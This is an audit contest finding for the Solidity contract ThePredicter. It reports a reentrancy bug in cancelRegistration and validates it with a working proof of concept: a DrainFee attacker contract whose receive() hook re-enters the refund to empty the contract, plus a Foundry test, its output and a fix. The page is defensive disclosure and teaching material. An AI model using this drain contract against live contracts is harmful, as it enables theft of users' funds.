First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing CEI on `ThePredicter::cancelRegistration` making reentrancy attack possible

farismaulana

Summary

cancelRegistration function not correctly implement CEI (Check, Effect, Interaction), making the protocol can be exploited using reentrancy and potentially drained all contract balance.

Vulnerability Details

ThePredicter.sol:

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
@> (bool success,) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

ThePredicter.sol not implementing CEI as shown at the snippet code above, the entranceFee refunding after a user cancel their registration is called early before the proper playersStatus[msg.sender] = Status.Canceled; are being set. This can be exploited because the status change are done after the contract sending the Fee.

POC

add new file in test folder called DrainFee.sol.

DrainFee.sol:

// SPDX-License-Identifier: MIT
​
pragma solidity 0.8.20;
​
interface ThePredicter {
function entranceFee() external view returns (uint256);
function register() external payable;
function cancelRegistration() external;
}
​
contract DrainFee {
ThePredicter thePredicter;
address owner;
​
constructor(address _thePredicter) {
thePredicter = ThePredicter(_thePredicter);
owner = msg.sender;
}
​
function register() public payable {
require(msg.value == thePredicter.entranceFee());
thePredicter.register{value: msg.value}();
thePredicter.cancelRegistration();
}
​
function drain() internal {
if (address(thePredicter).balance >= thePredicter.entranceFee()) {
thePredicter.cancelRegistration();
}
(bool success,) = payable(owner).call{value: address(this).balance}("");
require(success, "withdraw failed");
}
​
receive() external payable {
drain();
}
}

add the following code to ThePredicter.test.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
​
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
import {DrainFee} from "../test/DrainFee.sol";
​
.
.
.
​
function test_POCReentrancyOnCancelRegistration() public {
// create 29 players and registering to the protocol
for (uint256 i = 0; i < 29; ++i) {
address user = makeAddr(string.concat("user", Strings.toString(i)));
vm.startPrank(user);
vm.deal(user, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
vm.startPrank(organizer);
thePredicter.approvePlayer(user);
vm.stopPrank();
}
​
// one malicious player registering to the protocol
address feeDrainer = makeAddr("feeDrainer");
vm.deal(feeDrainer, 1 ether);
vm.startPrank(feeDrainer);
// deploy the DrainFee.sol
DrainFee drainFee = new DrainFee(address(thePredicter));
​
// snapshotting balance
uint256 attackerBalanceBeforeAttack = feeDrainer.balance;
uint256 thePredicterBalanceBeforeAttack = address(thePredicter).balance;
​
// use the DrainFee to start Reentrancy
drainFee.register{value: thePredicter.entranceFee()}();
​
// current balance after the attack
uint256 attackerCurrentBalance = feeDrainer.balance;
uint256 thePredicterCurrentBalance = address(thePredicter).balance;
​
// assert the balance
assertEq(attackerCurrentBalance, attackerBalanceBeforeAttack + thePredicterBalanceBeforeAttack);
assertEq(thePredicterCurrentBalance, 0);
console.log("Attacker current balance: ", attackerCurrentBalance);
console.log("The Predicter Contract current balance: ", thePredicterCurrentBalance);
}

run the following command forge test --mt test_POCReentrancyOnCancelRegistration -vv

the result should PASS:

Ran 1 test for test/ThePredicter.test.sol:ThePredicterTest
[PASS] test_POCReentrancyOnCancelRegistration() (gas: 2398394)
Logs:
Attacker current balance: 2160000000000000000
The Predicter Contract current balance: 0
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.13ms (4.24ms CPU time)

Impact

ThePredicter contract balance can be drained out by malicious actor

Tools Used

foundry

Recommendations

Change ThePredicter::cancelRegistration code so it would implement the CEI:

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
- (bool success,) = msg.sender.call{value: entranceFee}("");
- require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
+ (bool success,) = msg.sender.call{value: entranceFee}("");
+ require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
​

then run the following command again forge test --mt test_POCReentrancyOnCancelRegistration -vv

the result should FAIL:

Failing tests:
Encountered 1 failing test in test/ThePredicter.test.sol:ThePredicterTest
[FAIL. Reason: revert: Failed to withdraw] test_POCReentrancyOnCancelRegistration() (gas: 2094400)
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.